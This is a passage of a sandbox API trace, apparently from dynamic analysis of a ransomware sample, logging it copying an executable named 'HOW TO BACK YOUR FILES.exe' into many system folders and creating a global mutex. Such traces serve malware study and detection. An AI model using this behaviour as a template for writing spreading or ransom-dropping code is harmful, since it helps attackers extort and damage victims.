(HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a688 [0053.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x5021a8 [0053.449] lstrcatW (in: lpString1="Media Player", lpString2="\\" | out: lpString1="Media Player\\") returned="Media Player\\" [0053.449] lstrcatW (in: lpString1="Media Player\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Media Player\\HOW TO BACK YOUR FILES.exe") returned="Media Player\\HOW TO BACK YOUR FILES.exe" [0053.449] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.449] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0053.449] lstrcmpiW (lpString1="MF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.450] lstrcmpiW (lpString1="MF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.450] lstrcpyW (in: lpString1=0x241e8a4, lpString2="MF" | out: lpString1="MF") returned="MF" [0053.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a6a0 [0053.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e970 [0053.450] lstrcatW (in: lpString1="MF", lpString2="\\" | out: lpString1="MF\\") returned="MF\\" [0053.450] lstrcatW (in: lpString1="MF\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MF\\HOW TO BACK YOUR FILES.exe") returned="MF\\HOW TO BACK YOUR FILES.exe" [0053.450] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\MF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\mf\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.450] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0053.450] lstrcmpiW (lpString1="MSDN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.450] lstrcmpiW (lpString1="MSDN", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.450] lstrcpyW (in: lpString1=0x241e8a4, lpString2="MSDN" | out: lpString1="MSDN") returned="MSDN" [0053.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a6b8 [0053.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52e9e0 [0053.450] lstrcatW (in: lpString1="MSDN", lpString2="\\" | out: lpString1="MSDN\\") returned="MSDN\\" [0053.450] lstrcatW (in: lpString1="MSDN\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSDN\\HOW TO BACK YOUR FILES.exe") returned="MSDN\\HOW TO BACK YOUR FILES.exe" [0053.450] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\MSDN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\msdn\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.451] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0053.451] lstrcmpiW (lpString1="NetFramework", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.451] lstrcmpiW (lpString1="NetFramework", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.451] lstrcpyW (in: lpString1=0x241e8a4, lpString2="NetFramework" | out: lpString1="NetFramework") returned="NetFramework" [0053.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a6d0 [0053.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x502228 [0053.451] lstrcatW (in: lpString1="NetFramework", lpString2="\\" | out: lpString1="NetFramework\\") returned="NetFramework\\" [0053.451] lstrcatW (in: lpString1="NetFramework\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="NetFramework\\HOW TO BACK YOUR FILES.exe") returned="NetFramework\\HOW TO BACK YOUR FILES.exe" [0053.451] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\NetFramework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\netframework\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.452] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47e9f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0053.452] lstrcmpiW (lpString1="Network", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.452] lstrcmpiW (lpString1="Network", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.452] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Network" | out: lpString1="Network") returned="Network" [0053.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a6e8 [0053.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52d750 [0053.452] lstrcatW (in: lpString1="Network", lpString2="\\" | out: lpString1="Network\\") returned="Network\\" [0053.452] lstrcatW (in: lpString1="Network\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Network\\HOW TO BACK YOUR FILES.exe") returned="Network\\HOW TO BACK YOUR FILES.exe" [0053.452] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\network\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.452] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47e9f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0053.452] lstrcmpiW (lpString1="OFFICE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.452] lstrcmpiW (lpString1="OFFICE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.452] lstrcpyW (in: lpString1=0x241e8a4, lpString2="OFFICE" | out: lpString1="OFFICE") returned="OFFICE" [0053.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a700 [0053.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d7c8 [0053.452] lstrcatW (in: lpString1="OFFICE", lpString2="\\" | out: lpString1="OFFICE\\") returned="OFFICE\\" [0053.453] lstrcatW (in: lpString1="OFFICE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OFFICE\\HOW TO BACK YOUR FILES.exe") returned="OFFICE\\HOW TO BACK YOUR FILES.exe" [0053.453] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\OFFICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.453] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48100c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0053.453] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.453] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.453] lstrcpyW (in: lpString1=0x241e8a4, lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="OfficeSoftwareProtectionPlatform") returned="OfficeSoftwareProtectionPlatform" [0053.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a718 [0053.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x5228e8 [0053.453] lstrcatW (in: lpString1="OfficeSoftwareProtectionPlatform", lpString2="\\" | out: lpString1="OfficeSoftwareProtectionPlatform\\") returned="OfficeSoftwareProtectionPlatform\\" [0053.453] lstrcatW (in: lpString1="OfficeSoftwareProtectionPlatform\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe") returned="OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" [0053.453] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.454] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48100c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0053.454] lstrcmpiW (lpString1="RAC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.454] lstrcmpiW (lpString1="RAC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.454] lstrcpyW (in: lpString1=0x241e8a4, lpString2="RAC" | out: lpString1="RAC") returned="RAC" [0053.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a730 [0053.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52ea50 [0053.454] lstrcatW (in: lpString1="RAC", lpString2="\\" | out: lpString1="RAC\\") returned="RAC\\" [0053.454] lstrcatW (in: lpString1="RAC\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RAC\\HOW TO BACK YOUR FILES.exe") returned="RAC\\HOW TO BACK YOUR FILES.exe" [0053.454] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\RAC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\rac\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.454] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0053.454] lstrcmpiW (lpString1="Search", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.454] lstrcmpiW (lpString1="Search", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.455] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Search" | out: lpString1="Search") returned="Search" [0053.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a748 [0053.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d840 [0053.455] lstrcatW (in: lpString1="Search", lpString2="\\" | out: lpString1="Search\\") returned="Search\\" [0053.455] lstrcatW (in: lpString1="Search\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Search\\HOW TO BACK YOUR FILES.exe") returned="Search\\HOW TO BACK YOUR FILES.exe" [0053.455] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\search\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.455] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0053.455] lstrcmpiW (lpString1="User Account Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.455] lstrcmpiW (lpString1="User Account Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.455] lstrcpyW (in: lpString1=0x241e8a4, lpString2="User Account Pictures" | out: lpString1="User Account Pictures") returned="User Account Pictures" [0053.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a760 [0053.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x513c18 [0053.455] lstrcatW (in: lpString1="User Account Pictures", lpString2="\\" | out: lpString1="User Account Pictures\\") returned="User Account Pictures\\" [0053.455] lstrcatW (in: lpString1="User Account Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="User Account Pictures\\HOW TO BACK YOUR FILES.exe") returned="User Account Pictures\\HOW TO BACK YOUR FILES.exe" [0053.455] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\User Account Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\user account pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.456] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0053.456] lstrcmpiW (lpString1="Vault", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.456] lstrcmpiW (lpString1="Vault", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.456] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Vault" | out: lpString1="Vault") returned="Vault" [0053.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a778 [0053.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52eac0 [0053.456] lstrcatW (in: lpString1="Vault", lpString2="\\" | out: lpString1="Vault\\") returned="Vault\\" [0053.456] lstrcatW (in: lpString1="Vault\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Vault\\HOW TO BACK YOUR FILES.exe") returned="Vault\\HOW TO BACK YOUR FILES.exe" [0053.456] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Vault\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\vault\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.457] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0053.457] lstrcmpiW (lpString1="VISIO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.457] lstrcmpiW (lpString1="VISIO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.457] lstrcpyW (in: lpString1=0x241e8a4, lpString2="VISIO" | out: lpString1="VISIO") returned="VISIO" [0053.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a790 [0053.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52eb30 [0053.457] lstrcatW (in: lpString1="VISIO", lpString2="\\" | out: lpString1="VISIO\\") returned="VISIO\\" [0053.457] lstrcatW (in: lpString1="VISIO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VISIO\\HOW TO BACK YOUR FILES.exe") returned="VISIO\\HOW TO BACK YOUR FILES.exe" [0053.457] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\VISIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\visio\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.457] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0053.457] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.457] lstrcmpiW (lpString1="Windows", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.457] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Windows Defender" | out: lpString1="Windows Defender") returned="Windows Defender" [0053.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a7a8 [0053.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519778 [0053.457] lstrcatW (in: lpString1="Windows Defender", lpString2="\\" | out: lpString1="Windows Defender\\") returned="Windows Defender\\" [0053.457] lstrcatW (in: lpString1="Windows Defender\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Defender\\HOW TO BACK YOUR FILES.exe") returned="Windows Defender\\HOW TO BACK YOUR FILES.exe" [0053.457] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.458] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc485c380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0053.458] lstrcmpiW (lpString1="Windows NT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.458] lstrcmpiW (lpString1="Windows NT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.458] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Windows NT" | out: lpString1="Windows NT") returned="Windows NT" [0053.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a7c0 [0053.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5022a8 [0053.458] lstrcatW (in: lpString1="Windows NT", lpString2="\\" | out: lpString1="Windows NT\\") returned="Windows NT\\" [0053.458] lstrcatW (in: lpString1="Windows NT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows NT\\HOW TO BACK YOUR FILES.exe") returned="Windows NT\\HOW TO BACK YOUR FILES.exe" [0053.458] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.459] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc48824e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48824e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0053.459] lstrcmpiW (lpString1="WwanSvc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.459] lstrcmpiW (lpString1="WwanSvc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.459] lstrcpyW (in: lpString1=0x241e8a4, lpString2="WwanSvc" | out: lpString1="WwanSvc") returned="WwanSvc" [0053.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a7d8 [0053.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52d8b8 [0053.459] lstrcatW (in: lpString1="WwanSvc", lpString2="\\" | out: lpString1="WwanSvc\\") returned="WwanSvc\\" [0053.459] lstrcatW (in: lpString1="WwanSvc\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="WwanSvc\\HOW TO BACK YOUR FILES.exe") returned="WwanSvc\\HOW TO BACK YOUR FILES.exe" [0053.459] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\WwanSvc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\wwansvc\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.459] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc48824e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48824e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0053.459] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.459] ReleaseMutex (hMutex=0xec) returned 1 [0053.459] CloseHandle (hObject=0xec) returned 1 [0053.459] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft Help" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft Help") returned="C:\\Documents and Settings\\All Users\\Microsoft Help" [0053.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dee8 | out: hHeap=0x4f0000) returned 1 [0053.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c680 | out: hHeap=0x4f0000) returned 1 [0053.460] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft Help") returned 50 [0053.460] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F1EABD245479DE5B0A1F21A00C2EBC7B") returned 0xec [0053.460] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.460] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft Help" | out: lpString1="C:\\Documents and Settings\\All 